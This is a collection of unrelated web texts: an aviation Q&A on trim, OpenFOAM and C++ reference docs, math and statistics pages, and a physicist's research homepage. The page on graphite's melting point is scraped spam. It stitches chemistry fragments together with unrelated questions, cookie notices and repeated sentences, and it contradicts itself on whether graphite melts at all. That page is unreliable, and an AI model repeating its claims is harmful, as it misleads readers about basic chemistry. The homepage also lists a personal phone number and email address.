• Trims function is to balance the downward directed lift from the horizontal stab against the upward directed lift from the wing. Obviously, the lift generated by the wing varies with airspeed, and as a consequence we trim for an airspeed. The other consequence is we trim for 0 control column/stick deflection, that is to say the balance of forces we trim for assumes no control input. We do this for stability.
The perception we get from that is that we trim to reduce control forces, and while that conclusion is true, I argue that it is a consequence to what we are really doing. With that said, the control column force reduction is absolutely essential, particularly when flying a high performance airplane capable of a wide range of speeds.
For FBW systems, the need to balance the lift on the trim and wing is still necessary and so the need for trim still exists. The trim won't have an impact on control forces in this case, but will adjust the need for deflection of the stick just as in a traditional control column or stick.
For larger airplanes without a trim tab, the horizontal stabilizer becomes a horizontal stabilator in which the entire horizontal surface moves. The whole surface rotates to change its angle of attack and the associated change in lift is how trim is accomplished.
For the other trims (aileron and rudder) in larger airplanes these can be implemented in the hydraulic actuators that actually move those control surfaces. These would cause a constant offset deflection from the control input.
• Almost all airplanes have trim (I'm fairly certain that the Wright Flyer didn't, so I can't say all airplanes do), but a lot of newer designs don't use trim tabs because they are less aerodynamically efficient than alternative designs.
For instance, the Falcon 50 & 900 that I fly doesn't have a single trim tab on it. Normally the flight controls are moved by hydraulics and a small electrical actuator is used to adjust the position of the aileron and rudder for trim purposes. Pitch trim is accomplished by moving the front of the entire horizontal stabilizer in order to adjust the angle and amount of lift produced by the tail. This is done so that the elevator can be neutralized and not create the additional drag caused by being in the airflow.
On FBW airplanes, they may or may not have manual trim that is used (under normal circumstances) by the pilot. Trimming is still taking place on FBW airplanes without manual trim, but it is simply automated.
Boeing typically designs their FBW airplanes so that they behave like a "normal" airplane, and require the pilot to trim in order to relieve the control forces. This is all completely artificial though, programmed simply to give feedback to the pilot.
Airbus on the other hand doesn't give any feedback to the pilot through the side stick so there are no control forces to relieve. When you release the side stick, it centers and the aircraft maintains its current pitch and bank angle. In this case, the autopilot automatically trims the airplane for the current conditions, and the pilot doesn't need to worry about it.
• In reference to item 1 of the question, it's not only to reduce the pilot's continuous force on the flight controls but also that of the autopilot. For example, you're straight and level with the autopilot holding altitude, and as the flight progresses your center of gravity is moving forward due to fuel burn. The autopilot compensates with an up-elevator force. On 747-100s -200s there's a gauge that shows you how much up-elevator the autopilot is commanding. So, if you're about to disengage the autopilot, you'd best glance down at that gauge to anticipate the control force you're going to need. If you're in cruise, you may still want to keep an eye on it and add appropriate trim manually to save a little fuel. If you're lazy, you can ignore it, and when the up-elevator requirement reaches a certain point, the autopilot will trim it out.
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Related questions and answers
• reduced on the pilot. Does trimming do anything other than reduce pilot workload? Also: Do modern aircraft still follow this concept of trim to reduce pilot's continuous force on the flight controls? Apart from pilot workload and fuel efficiency (I know that trimming an aircraft can produce drag), what other benefits does trim offer? Without trim tabs, how is trimming accomplished? ...I know that historically pilots used to trim an aircraft to relieve continuous application of force during climb/cruise/descent, and at that trim tabs existed on control surfaces (elevator, ailerons
• Air Force One is obviously a big deal. We close terminals and implement other seemingly crazy safeguards against terrorist attacks while the president is en-route to an airport. How does ATC protect the president whilst in the air? I have heard of TFRs for "VIP in the area" reasons — is that for AF1? I am guessing that the aircraft identification is blocked, but wouldn't they still need to have the transponder on for TCAS? Specifically, the Wikipedia page on Air Force One has the following quote: Air traffic controllers gave Air Force One an ominous warning that a passenger
• These are calculations which I use to know when to descend and the Rate: Multiply the ALT of feet to lose by 3 and $Groundspeed\div2\times10$ will give you your required rate of descent for a 3° glide slope. For example: FL350 to FL100 => 25,000 ft down $25\times3=75$, so start at 75 nm GS = 320 kts => $320\div2\times10=1,600$ => -1,600 fpm is your desired rate of descent. How do I calculate without using tangents for degrees, other than 3: 2,5; 4; 5 ...? In my last question I got it wrong, even though through math the answer was correct.
• Autopilots used in piston GA usually do not have throttle control. They only manage the control surfaces. However to trim an aircraft one needs to play on both throttle setting (and more physically, thrust) and control surface deflections (aerodynamic forces). What happens if the autopilot cannot trim the aircraft due to the propulsion settings? Is there any alert from the autopilot for the pilot?
• I hope this is a relevant place for me to ask a math question regarding aircraft design. I am trying to understand how one would implement a controller to control the pitch angle of an airplane for a small exercise. I understand the control part and its implementation. What I do not grasp is how one acquires the longitudinal equations of motions (which are then used for the control part) which serves as the starting point. What is the starting point or what are the principles used to derive these equations? If I know how to derive these equations for a very simple case, then I know I have
• The alpha vane is an external probe used to measure the angle of attack. I have been trying to understand how exactly it works, but I can't find any clear explanation or simulation. Is the vane static or dynamic i.e. does it rotate along its central axis? Given that it has a significant surface area, I think that it would either: Rotate because of the force/drag exerted by the airflow, and give an angle of attack proportional or equal to its angle of rotation Measure the force being exerted on it via a force sensor embedded in the surface Is either of these correct? In short, how
• radars confirmed this weird behavior from FlightRadar24. Also A/C before and after this one did not exhibit this behavior. Does anybody have any thoughts as to what may be happening??? Why... of occurrence is approximately: 3/16/2014 6:09pm CST I have also verified FlightAware is ALSO showing the same weird glitch. See below "yellow" highlighted airplane: Same A/C from FlightRadar24: UPDATE: This seems to be related to THIS aircraft. The explanations given (GPS->INS->GPS switching) still applies in my opinion, but wanted to give another screen shot. Here it is today (3/30/2014
• Are airspace violations (e.g. entry to class B without clearance) based on primary radar and/or Mode C transponder, or something else? I read that Mode C altitude is based on pressure altitude, i.e., set to 29.92" ... but presumably that's adjusted at the ATC facility based on the current pressure before being used for altitude enforcement. This begs the question, what would stop one... is used, is it based on pilot's altimeter? Would winding back the altimeter make a plane report a lower altitude?
• translate to a deflection of the surfaces, mimicking the "old" mechanical control setup. It is my understanding that this is the design choice of Boeing in its new aircrafts. I do not wish to discuss...Provided an aircraft with a fly-by-wire system, there are basically two possible choices when it comes deciding how to let the pilots interface with it: rate control / attitude hold: a deflection... or Airbus/Boeing certified pilots or even pure civil/(former) military pilots. Does any of you have any reference?
• How does autobrake work? Gabriel Brito
An autobrake is a type of automatic wheel-based hydraulic brake system for advanced airplanes. The autobrake is normally enabled during takeoff and landing procedures, when the aircraft's longitudinal deceleration system can be handled by the automated systems of the aircraft itself in order to keep the pilot free to perform other tasks - Wikipedia How does the aircraft "know" when is time to activate the autobrake systems on a rejected takeoff and landing? Does it apply full brake to all the aircraft's wheels? Is it really used by commercial jets?
Data information
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# Set gradient to zero boundary condition type¶
The set gradient to zero boundary condition type prescribes the gradient of a field on a boundary to 0. Typical use cases are:
• Outlets (of pipes etc.)
The gradient for the velocity field or transported quantities (such as turbulent kinetic energy or dissipation rate) are often set to 0.
The temperature gradient is set to 0 on walls that do not conduct heat (adiabatic walls)
• Walls
The pressure gradient is often set to 0.
Since the zero gradient boundary condition implicitly contains all required values (the gradient is set to 0), no values must be set.
## Zero gradient boundary condition for OPENFOAM®¶
An example of a zero gradient boundary condition for OPENFOAM® simulations where the velocity gradient is set to zero.
In the input file, the depicted boundary condition will look similar to the following:
wall
{
$\frac{\partial \vec{U}}{\partial \vec{x}}\bigg|_{\Gamma} = 0$
where $$\Gamma$$ represents the boundary.
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# SOCR BivariateNormal JS Activity
(Difference between revisions)
Revision as of 21:42, 12 July 2012 (view source)IvoDinov (Talk | contribs)← Older edit Revision as of 21:44, 12 July 2012 (view source)IvoDinov (Talk | contribs) Newer edit → Line 21: Line 21: ==Experiment 1== ==Experiment 1== -
[[Image:SOCR_BivariateNormal_JS_Activity_Fig1|300px]] +
[[Image:SOCR_BivariateNormal_JS_Activity_Fig1.png|300px]] - [[Image:SOCR_BivariateNormal_JS_Activity_Fig2|300px]] + [[Image:SOCR_BivariateNormal_JS_Activity_Fig2.png|300px]] - [[Image:SOCR_BivariateNormal_JS_Activity_Fig3|300px]] + [[Image:SOCR_BivariateNormal_JS_Activity_Fig3.png|300px]]
## SOCR Educational Materials - Activities - SOCR Bivariate Normal Distribution Activity
This activity represents a 3D rendering of the Bivariate Normal Distribution. It is implemented in HTML5/JavaScript and should be portable on any computer, operating system and web-browser.
## Goals
The aims of this activity are to:
• TBD.
## Requirements
A modern web-browser with HTML and JavaScript support is required (mobile devices should be fine). The 3D view of the bivariate Normal distribution requires WebGL support, however this is not absolutely necessary. If you toggle off the "Use WebGL" check-box in the Settings panel you can view the 3D grid/mesh representation of the 2D Normal/Gaussian distribution without WebGL.
1. See the SOCR Bivariate Normal Distribution Activity.
2. Use the Settings to initialize the web-app.
3. In the Control panel:
* Select the appropriate bivariate limits for the X and Y variables.
* Choose desired Marginal or Conditional probability function.
* 1D Normal Distribution graph will be shown to the right.
1. You can rotate and manipulate the bivariate normal distribution in 3D by clicking and dragging on the graph below.
2. Probability Results are reported in the bottom text area.
## Questions
... TBD ...
## Applications
... TBD ...
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# Solution - Division of a Line Segment
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ConceptDivision of a Line Segment
#### Question
Construct a Δ ABC in which AB = 6 cm, ∠A = 30° and ∠B = 60°, Construct another ΔAB’C’ similar to ΔABC with base AB’ = 8 cm.
#### Solution
You need to to view the solution
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ΔRST ~ ΔUAY, In ΔRST, RS = 6 cm, ∠S = 50°, ST = 7.5 cm. The corresponding sides of ΔRST and ΔUAY are in the ratio 5 : 4. Construct ΔUAY.
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If the coordinates of points A and B are (-2, -2) and (2, -4) respectively, find the coordinates of P such that AP =(3/7)AB, where P lies on the line segment AB.
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#### Reference Material
Solution for concept: Division of a Line Segment. For the course 8th-10th CBSE
S
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# std::unordered_map::emplace
template< class... Args > std::pair emplace( Args&&... args ); (since C++11)
Inserts a new element into the container constructed in-place with the given args if there is no element with the key in the container.
Careful use of emplace allows the new element to be constructed while avoiding unnecessary copy or move operations. The constructor of the new element (i.e. std::pair<const Key, T>) is called with exactly the same arguments as supplied to emplace, forwarded via std::forward<Args>(args).... The element may be constructed even if there already is an element with the key in the container, in which case the newly constructed element will be destroyed immediately.
If rehashing occurs due to the insertion, all iterators are invalidated. Otherwise iterators are not affected. References are not invalidated. Rehashing occurs only if the new number of elements is greater than max_load_factor()*bucket_count().
## Contents
### Parameters
args - arguments to forward to the constructor of the element
### Return value
Returns a pair consisting of an iterator to the inserted element, or the already-existing element if no insertion happened, and a bool denoting whether the insertion took place. True for Insertion, False for No Insertion.
### Exceptions
If an exception is thrown by any operation, this function has no effect.
### Complexity
Amortized constant on average, worst case linear in the size of the container.
### Example
#include <iostream>
#include <utility>
#include <string>
#include <unordered_map>
int main()
{
std::unordered_map<std::string, std::string> m;
// uses pair's move constructor
m.emplace(std::make_pair(std::string("a"), std::string("a")));
// uses pair's converting move constructor
m.emplace(std::make_pair("b", "abcd"));
// uses pair's template constructor
m.emplace("d", "ddd");
// uses pair's piecewise constructor
m.emplace(std::piecewise_construct,
std::forward_as_tuple("c"),
std::forward_as_tuple(10, 'c'));
// as of C++17, m.try_emplace("c", 10, 'c'); can be used
for (const auto &p : m) {
std::cout << p.first << " => " << p.second << '\n';
}
}
Possible output:
a => a
b => abcd
c => cccccccccc
d => ddd
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# why does graphite have a high melting point
Why does graphite have a high melting point?
Furthermore, $\mathrm{10\ kJ\ mol^{-1}}$ is comparable to the average thermal energy of particles in ambient conditions ($\mathrm{k_BT_{amb}=2.5\ kJ\ mol^{-1}}$), so it doesn't take too much effort to pull apart benzene molecules. There are also Van der Waals forces between the layers of graphite but these are relatively weak in comparison to a covalent bond. That comes at an expense of energy. Graphite is a common material used in brake linings.
Graphite’s most notable, and most unique property, has to be its incredible thermal properties.
We know water molecules in ice are held together by hydrogen bonds, which is the intermolecular force in this case. The main kind of intermolecular interaction relevant to this sequence of compounds is pi-stacking.
https://www.quora.com/Why-doesgraphite-have-a-higher-melting-point-than-diamond, https://books.google.com/books?id=tgPnKQxrN-cC&pg=SA16-PA8&lpg=SA16-PA8&dq=graphite+melting+point+100,000+atmosphere&source=bl&ots=CO8HcrMkig&sig=Ab8lO6p8UhmQOT0QF7e9T7xtlp-M&hl=en&sa=X&ved=0ahUKEwjMpYjljtDTAhVFKiYKHfimDbQQ6AEIKjAB#v=onepage&q=graphite%20melting%20point%20100%2C000%20atmosphere&f=false, https://nssdc.gsfc.nasa.gov/planetary/factsheet/sunfact.html, https://www.momentive.com/en-US/categories/ceramics/high-thermal-conductivity-graphite-and-composites/, Graphite Isn’t As Brittle As You May Think, U.S. Military and Nuclear Energy Plants Use Graphite for Electromagnetic Wave Absorption.
New York: CRC. Our mission at Ohio Carbon Blank, Inc. is to consistently deliver the highest quality graphite products to our customers' specifications in the shortest period of time.
Because of this the amount of heat is higher than that need to change other solids into liquids. It merely happens that compounds with higher molecular weights tend to be larger and allow a greater amount of intermolecular interactions per molecule, thus leading to higher boiling points.
These plates are often placed with the walls of rooms, lockers, and safes to protect them (and ultimately their contents) from fire. Graphite also possesses remarkable heat transfer properties.
Explain why diamond does not conduct electricity and why graphite does conduct electricity.
Suggestions for braking with severe osteoarthritis in both hands. Accessed 1 May 2017. It only takes a minute to sign up. Thus, it has high melting and boiling points. 3 Answers. Ano ang pinakamaliit na kontinente sa mundo?
How many people voted early (absentee, by mail) in the 2016 US presidential election?
However, graphite has a remarkably low coefficient of thermal expansion; which means that it can be heated and be exposed to extremely high temperatures without expanding all that much. As the molecules get larger, this value increases further and further.
Indeed, benzene melts at $\mathrm{5.5\ ^oC}$ and boils at $\mathrm{80\ ^oC}$ under one atmosphere. By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy. Therefore, carbon is certainly one of the go to materials when it comes to applications involving heat and heat transfers. Multiple layers on top of each other and each layer going by the name graphene.
Not only does it conduct heat very well, but it also has impressive CTE values (coefficients of thermal expansion), and the material is very difficult to melt ~ yielding an intensely high melting point.
Graphite is made up of carbon atoms, which have four free electrons and are able to form four covalent bonds. How do intermolecular forces affect viscosity?
What would it decompose to? By using our site, you acknowledge that you have read and understand our Cookie Policy, Privacy Policy, and our Terms of Service. In fact, technically speaking, graphite has no melting point until you get to approximately 100 atmospheres [8]. In fact, technically speaking, graphite has no melting point until you get to approximately 100 atmospheres [8].
My textbook also states that the strong covalent bonds are broken during state changes, isn't this incorrect? Give reason : 1. diamond has high melting point 2. graphite is good conductor of electricity 2 See answers amayadoggy amayadoggy Each carbon atom is covalently bonded to four other carbon atoms. Not only is carbon used in fire retardant materials, it is also used in fireproofing systems as well ~ in the form of graphite plates. The answer comes from realising that, though individual sections of each molecule interact weakly, the sum of many weak intermolecular interactions over an entire molecule leads to a very strong intermolecular interaction overall. Like silica, diamond has a very high melting point.
Anonymous.
To learn more, see our tips on writing great answers. As its covalent bonds are very strong, and there are many of them, a lot of energy would be needed to separate atoms.
Why does graphite have a high melting point even though its intermolecular forces are weak?
Graphite does indeed have an exceptionally high melting point. The conductivity of some graphite composites are being measured as high as 1,000-2,000 W/m°K [11].
[9] Foulkes, Frank. However in graphite, the molecules are carbon atoms themselves. Why does graphite have a high melting point? The fourth electron is free to migrate in the plane, making graphite electrically conductive. There are also intermolecular forces that keep the diamond structure together. Graphite does not change state from solid to liquid when it is heated, instead it changes directly into a gas.
Pagkakaiba ng pagsulat ng ulat at sulating pananaliksik? A lot of energy is needed to separate the atoms in diamond. Graphite is entirely made up of the element carbon. Answer Save.
These "molecules" are held together by covalent bonds, which plays the role of intermolecular bond in here. All other trademarks and copyrights are the property of their respective owners. Atoms in each individual layer is covalently bonded, which is quite strong. Online Book. This makes graph. around the world, How Intermolecular Forces Affect Phases of Matter. Graphite is chemically similar to diamond, but the two substances are physically different. How to stop a toddler (seventeen months old) from hitting and pushing the TV? MathJax reference. Does Jerry Seinfeld have Parkinson's disease?
Sciences, Culinary Arts and Personal Why was there graphite in the Chernobyl nuclear... What is the best explanation for why graphite is... What is a Diamond? Maybe my teacher has taught me wrong, but doesn't melting involve breaking down of intermolecular forces? ), graphite materials are often used for the actual molds as well. Copyright © 2020 Multiply Media, LLC.
What is the rising action of faith love and dr lazaro? - Definition, Types & Properties, Organic Chemistry & the Study of Carbon Compound Life Forms, Allotropes of Phosphorus: Forms, Uses & Examples, Corrosion: Definition, Prevention & Protection, Who Was John Dalton? Festival of Sacrifice: The Past and Present of the Islamic Holiday of Eid al-Adha. In terms of the structure and boiling point of graphite, explain why the melting point is high Each carbon atom in graphite is bonded to three other carbon atoms.
What intermolecular forces are present in #NH_3#? What does it mean when people say "Physics break down"? Carbon atoms have three of the four electrons bonded together which leaves the... Our experts can answer your tough homework and study questions.
Ano ang mga kasabihan sa sa aking kababata?
How to know there's any internal damage by his behaviour?
However, the different layers are held together by weak van der Waal forces, which enables them to slide on top of each other, making graphite a good lubricant. What is the time signature of the song Atin Cu Pung Singsing? 1 decade ago.
Many are made of graphite and carbon composites. Graphite: Though little energy is needed to overcome the weak inter-molecular forces between the layers, a lot of energy is still needed to overcome the strong covalent bonds between the carbon atoms.
Not only does it conduct heat very well, but it also has impressive CTE values (coefficients of thermal expansion), and the material is very difficult to melt ~ yielding an intensely high melting point.
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# Binomial distribution/conjugate posterior
Let's consider some experiment with tossing a coin. NOTE: my question is given at the very last paragraph.
Observation $$y=0$$ or $$y=1$$ [tails (T) or heads (H)], $$p \in [0, 1]$$ (probability of heads)
We're going to look at an example where we update our belief about the probability that a coin will show HEADS, starting from before our first flip, and update our belief every time we flip a coin, and see a new observation.
Let's say you start off agnostic on probability of seeing H. The prior is $$Beta(1, 1)$$. Now you flip the coin 3 times, and observe the sequence {H, H, T}.
Starting with a prior $$Beta(1, 1)$$, you flip and observe an H. Combining your prior with the likelihood, your posterior is now $$Beta(2, 1)$$.
Now your posterior becomes your prior, $$Beta(2, 1)$$, you flip a second time, and observe an H, your posterior is now $$Beta(3, 1)$$.
Now your posterior becomes your prior, $$Beta(3, 1)$$, you flip a second time, and observe an T, your posterior is now $$Beta(3, 2)$$.
The idea here is that you have some prior belief about what the probability of getting H (heads) is, prior to ever flipping a coin. It may be that you are neutral, $$a=1$$, $$B=1$$, that is all $$p$$ equally likely (you have no idea). When you flip the coin once, this gives you some new information. Let's say you flip and get an H. Now this boosts the probability of higher values of $$p$$.
Note that as soon as you see your first Tail after the 3rd flip, the prior probability of p is now 0 at p=1 - ie there is SOME probability of seeing Tail.
QUESTION: I just wonder what would happen if in the 4th picture I would add a point above $$p=1$$ OR small curve above the interval (p-epsilon,p],RESPECTIVELY. Would it be still the case that "there is SOME probability of seeing Tail."? ALSO, WHICH experiment could yield this 2 modified pictures/data??
• "add a point above $p=1$"??? – David G. Stork Dec 31 '18 at 18:50
• Yes, in the r.h.s. 4th picture not value $0$ but a ($\frac{1}{2}$-multiple) of the delta function ($\Delta$ ).The distribution will be discontinuous there. And we will modify (lessen to one half) the graph at the l.h.s. accordingly so that the inetgral of the entire curve will be 1. – user122424 Dec 31 '18 at 18:51
• Oh... do you mean instead "add a point at $p = 1$? The vertical axis doesn't mean having a point "above" a value. – David G. Stork Dec 31 '18 at 19:06
• I mean add a point/Dirac's $\Delta$ above the very right hand side place of the horizontal axe (i.e.at value $p=1$). – user122424 Dec 31 '18 at 19:18
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# zbMATH — the first resource for mathematics
##### Examples
Geometry Search for the term Geometry in any field. Queries are case-independent. Funct* Wildcard queries are specified by * (e.g. functions, functorial, etc.). Otherwise the search is exact. "Topological group" Phrases (multi-words) should be set in "straight quotation marks". au: Bourbaki & ti: Algebra Search for author and title. The and-operator & is default and can be omitted. Chebyshev | Tschebyscheff The or-operator | allows to search for Chebyshev or Tschebyscheff. "Quasi* map*" py: 1989 The resulting documents have publication year 1989. so: Eur* J* Mat* Soc* cc: 14 Search for publications in a particular source with a Mathematics Subject Classification code (cc) in 14. "Partial diff* eq*" ! elliptic The not-operator ! eliminates all results containing the word elliptic. dt: b & au: Hilbert The document type is set to books; alternatively: j for journal articles, a for book articles. py: 2000-2015 cc: (94A | 11T) Number ranges are accepted. Terms can be grouped within (parentheses). la: chinese Find documents in a given language. ISO 639-1 language codes can also be used.
##### Operators
a & b logic and a | b logic or !ab logic not abc* right wildcard "ab c" phrase (ab c) parentheses
##### Fields
any anywhere an internal document identifier au author, editor ai internal author identifier ti title la language so source ab review, abstract py publication year rv reviewer cc MSC code ut uncontrolled term dt document type (j: journal article; b: book; a: book article)
Iteration of analytic Euclidean contractions. (English) Zbl 0868.30027
Ali, Rosihan M. (ed.) et al., Computational methods and function theory 1994. Proceedings of the conference, Penang, Malaysia, March 21--25, 1994. Singapore: World Scientific. Ser. Approx. Decompos. 5, 57-74 (1995).
Summary: Let $D$ be a bounded convex domain and suppose that $f$ is an analytic map of $D$ into itself with $|f'|<1$. Then the diameter of $f^n(D)$ converges to zero and we obtain upper and lower estimates on the rate of this convergence. The methods used also give results in other circumstances; for example, for contractions of a domain in the $n$-dimensional Euclidean space. For the entire collection see [Zbl 0863.00033].
##### MSC:
30D05 Functional equations in the complex domain, iteration and composition of analytic functions 37F99 Complex dynamical systems
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# Arxiver
Built by @essofluffy to make arxiv.org a bit simpler
Published: 2017/8/10
Last Updated: 2017/8/10
### Some comments on computational mechanics, complexity measures, and all that
We comment on some conceptual and and technical problems related to computational mechanics, point out some errors in several papers, and straighten out some wrong priority claims. We present explicitly the correct algorithm for constructing a minimal unifilar hidden Markov model ("$\epsilon$-machine") from a list of forbidden words and (exact) word probabilities in a stationary stochastic process, and we comment on inference when these probabilities are only approximately known. In particular we propose minimization of forecasting complexity as an alternative basis for statistical inference of time series, in contrast to the traditional maximum entropy principle. We present a simple and precise way of estimating excess entropy (aka "effective measure complexity". Most importantly, however, we clarify some basic conceptual problems. In particular, we show that there exist simple models (called "totally recurrent graphs") where none of the nodes of the "$\epsilon$-machine" (the "causal states") corresponds to an element of a state (or history) space partition.
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Stephan Ulrich
contact:$\color{White}^{1}\color{Gray}\textsf{stephan.entropy}$$\color{Gray}\text{@}$gmail.com
Tel.: +49 (0)151 50103308
Research Interests
Soft Matter
Random media, like polymer networks, covalent network glasses, or grains under pressure can be viewed as networks of springs and balls. The shear modulus of these type of materials typically vanishes as the network connectivity z approaches a critical value.
In this work, we employed a simple viscoelastic model of the elasticity of random networks and corroborate it by molecular dynamics (MD) simulations of corresponding networks. We apply a shear deformation to the network such that the left side of the material is sheared upwards with a constant velocity v0, while the right side is held fixed.
A snapshot of the simulation is shown in the illustration on the left. The color of each point in the material indicates its upwards velocity (orange = moving upwardsblue = at rest). We observe a shear wave which is approaching a constant velocity vf and its width (transition region from yellow to light blue) keeps increasing. The inset shows a small patch of the material, where the network comprises nodes (blue) connected with springs (red).
We showed analytically that shear strains propagate as diffusive fronts, whose width diverges and whose transverse speed of sound vanishes, as the transition is approached. Consequently, in this regime linear theory breaks down, giving rise to (nonlinear) shock waves. Comparison of the analytical wave profile to MD simulations allows the extraction of material constants of the network, which can be compared to previous predictions. Interestingly, even an undamped network yields a diverging effective viscosity caused by leaking of energy into non-affine degrees of freedom.
Granular Materials – A Short Introduction
Having a large number of macroscopic particles (>100 µm), one typically talks about granular materials. They are important for understanding soil or snow avalanches, planetary dust rings, as well as for industrial applications like processing sand, powders, nuts, cereals, wheat grains, etc.
There are two key features associated with granular materials:
• They only interact on collision. (Different from atomic interactions which – relative to their own diameter – usually have long-range potentials.)
• Collisions are typically dissipative. (Kinetic energy of the grains is transferred to their internal degrees of freedom and cracks.)
The degree of dissipation is normally specified by the coefficient of restitution ε, which is the ratio of the normal component of the velocity before and after the collision. So ε = 1 corresponds to the limit of totally elastic grains, and ε = 0 to totally inelastic (often referred to as sticky) grains.
Granulates are often characterized by their granular temperature T, defined in analogy to kinetic gas theory:
$\large\displaystyle{\frac{d}{2}\cdot T=\frac{m\langle v^2\rangle}{2}}$
Here m is the particle mass, v the particle velocity, and d the spatial dimension.
Wet Granular Materials
When a small amount of liquid is added to the granulate, one talks about wet granular matter. Then each particle is covered with a thin film of the liquid. When two particles collide, these films will merge and create a capillary liquid bridge between the particles. It causes an attractive force F(s), which depends on the separation s of the particles, and breaks at a critical distance dcrit.
The energy needed to break a bond is calculated by $\textstyle{E_\text{cb}=\int_d^{d_\text{crit}}F(s)\mathrm{d}s}$, and is in good approximation independent of the velocities of the grains.
This collision dynamics is very different from dry granular materials, causing quantitative new behavior. For example, if the average kinetic energy of the grains is not sufficient to overcome Ecb and break the bond, clusters of particles will form (as seen in the image on the left). As it turns out, the cluster size distribution develops towards a self-preserving scaling form and the clusters themselves are fractal. Cooling dynamics can be described in similar fashion to Haff's law, however, yielding cooling laws very different from Haff's law. In the early cooling phase, one finds T(t) ~ (1 − t/t0)2 , and a very slow (logarithmic) time decay is found in the late stage (where bond ruptures become exponentially unlikely). If you are interested in more detailed results, you are invited to see publications on [PRL] or [PRE], or contact me!
For a rotating version of a full size resultant fractal cluster, click the play button below. The video on the left side shows a snapshot at the end of the flocculation regime, where small clusters are still present (indicated by different colors), however, a system spanning cluster (grey) has developed. The video on the right side shows a snapshot in the percolation regime, where the system spanning (percolating) cluster has ingested almost all particles.
Granular Streams
When turning on the faucet in your bathroom, a straight stream of water flows out. When you continuously decrease the flow rate, however, you will notice a transition to a state of droplet formation. This finding is explained by the Rayleigh-Plateau instability, which says that a long cylinder of water can decrease its surface by applying longitudinal undulations to the radius. Clearly, this mechanism requires surface tension in order to work, and hence would not be expected in granular materials, which are considered purely repulsive.
This made a recent experimental observation rather surprising, which found droplet formation also in granular streams. By now, we believe that granular materials indeed are very weakly attractive, attributed to capillary bridges forming between particles (due to a non-zero humidity) and van-der-Waals interactions, whenever the particles’ surfaces are at contact. These observations have been well confirmed by large scale molecular dynamics simulations (see video):
Granular Segregation and Brazil-nut effect
f = 15 Hz, Max accel. = 3.5 g
When shaking an ordinary pack of cereals from the supermarket, you will realize that the big nuts go to the top. This effect that large particles go to the top after injection of energy (shaking) is known as Brazil-nut effect and is still subject of research. After its discovery, also the reverse Brazil-nut effect was found, where the large particles go to the bottom, when the systems parameters are chosen appropriately.
In the picture on the left, you see a mixture of polystyrene and brass balls after shaking. Even though the density of brass is roughly 8 times higher, the large brass particles went to the top. On the right hand side, you can see a shaken container with a mixture of small and large brass spheres inside. Start the movie to see the image detection algorithm identify and track the small and large spheres, marked as blue () and red () arrows, respectively.
There are many (about 10) competing mechanisms suggested to explain this segregation effect. For a system with large and small particles of the same material and in an evacuated container, the most important mechanisms are found to be:
• Void filling: small particles fit more easily into voids (resulting from shaking) between particles and can percolate downwards.
• Convection: Convection rolls induced by the side walls cause a downwards stream close to the side walls. Large particles, however, might be too large to enter this thin downstream area and will be trapped on the top.
• Thermal diffusion: Particles have a tendency to go to regions of low granular temperature. This tendency is stronger for particles with higher mass. If the temperature is not homogeneous in the system (which normally isn't the case), this mechanism leads to segregation.
This project was done at the University of Texas at Austin at the Center for Nonlinear Dynamics with Matthias SchröterJennifer KreftJack Swift, and Harry Swinney.
Further information can also be found in our main publication [Journal URL], and on [Matthias Schröter's Segregation Page]
Structure of Spider Silk
Spider silk is in my opinion one of the most amazing materials in nature! Evolution has optimized it for tensile strength (comparable to that of steel), extensibility and toughness (roughly 30 times higher than steel). Nevertheless it is a real light-weight (density about 1/6 of steel).
The reason for its high strength is still subject of investigation. Of particular interest is the so called dragline fiber, which spiders produce from essentially only two proteins to build their net's frame and radii, and also to support their own body weight after an intentional fall down during escape. It is known that the dragline fiber consists of nano-crystallites (so called β-sheets, mainly composed of alanine) which are connected by an amorphous chain network (so called amorphous matrix), however, its precise structure is still under debate (see left image).
We try to determine the structure of these nano-crystallites (unit cell composition and dimensions, overall size of the crystallites, and orientation with respect to the fiber axis). Therefore we obtain a scattering image of the fiber using wide angle x-ray scattering (WAXS), and establish a model of randomly tilted crystallites, of which the scattering function can be calculated. Adjusting the parameters of that model so that the calculated and measured images match, yields the structure of the crystallites (see right image).
As a "fall-out" of the model, one can investigate to which extent coherent scattering from different crystallites is important, or if the scattering image can be analyzed in terms of single-crystallite scattering (as it is usually assumed in the literature). A further ingredient to the model is also the possibility to allow for structural disorder. Here the alanine amino acid can be replaced by glycine with a certain probability (for which indications are found in the literature), which yields a good match to the experimental scattering image.
If you are interested in details or the precise resulting structures, see Eur. Phys. J. E 27, 229 (2008). [URL] or [arXiv].
(Note: if the calculations appear too technical or time consuming, just skip chapter 3! Only have a quick look at eq. (17), with A(q) being the scattering amplitude of a single crystallite, defined in eq. (13) ☺)
Interesting movie (avi, 9MB) of stretching a semi-crystalline material like spider silk. It's a computer simulation using Langevin-dynamics, with strong bonds (covalent, blue) and weak bonds (H-Bond, red). It never found use though...
Replica calculation of randomly cross-linked polymer networks
A very simple model for a polymer network consists of beads connected with springs (see image on the right): We consider a system of N particles (blue dots) at positions {r1,...,rN}. M pairs of these particles, {(i1,j1),...,(iM,jM)}, are connected via Hookian springs (red connections). Furthermore we introduce an excluded volume interaction affecting all pairs of particles. With these ingredients the Hamiltonian of the system becomes:
$\displaystyle{H=\frac{1}{2a^2}\sum_{e=1}^M (\mathbf{r}_{i_e} - \mathbf{r}_{j_e})^2 + \frac{\lambda^2}{2}\sum_{i,j=1}^N U(|\mathbf{r}_{i} - \mathbf{r}_{j}|)$
Note that in the first term we sum over all cross-links, and in the second term, over all pairs of particles.
We use statistical mechanics to calculate the partition function Z and free energy F = −ln Z, for a quenched cross-link configuration and find out structural and mechanical properties, like
• the distribution of localization lengths, i.e. how large the fluctuations of the particles about their mean position are.
• the gel fraction, the fraction of particles which are localized (have a finite localization length).
• the shear modulus, the resistance of the system to a shear strain.
Obviously all these properties still depend on the cross-link configuration. To find the typical properties, we have to average the free energy F with an appropriate distribution of the cross-link configuration. This is done with the Deam-Edwards distribution (which only sets the average cross-link density) and replica theory.
It turns out, that there is a transition from a liquid (zero gel fraction => particles are not localized) to a gel (non-zero gel fraction). This is the so called gelation-transition. While most calculations of cross-linked networks are expansions valid close to the gelation-transition, in this work, the behavior for arbitrary cross-link densities is accessible.
See Europhys. Lett. 76, 677 (2006). [Journal URL] or [arXiv].
Publications
See the complete list including citations on [Google Scholar]
published:
1. Shear shocks in fragile networks
Stephan Ulrich, Nitin Upadhyaya, Bas van Opheusden, and Vincenzo Vitelli
PNAS 110, 20929 (Dec 24, 2013), [URL], [arXiv]
2. Jamming of frictional tetrahedra
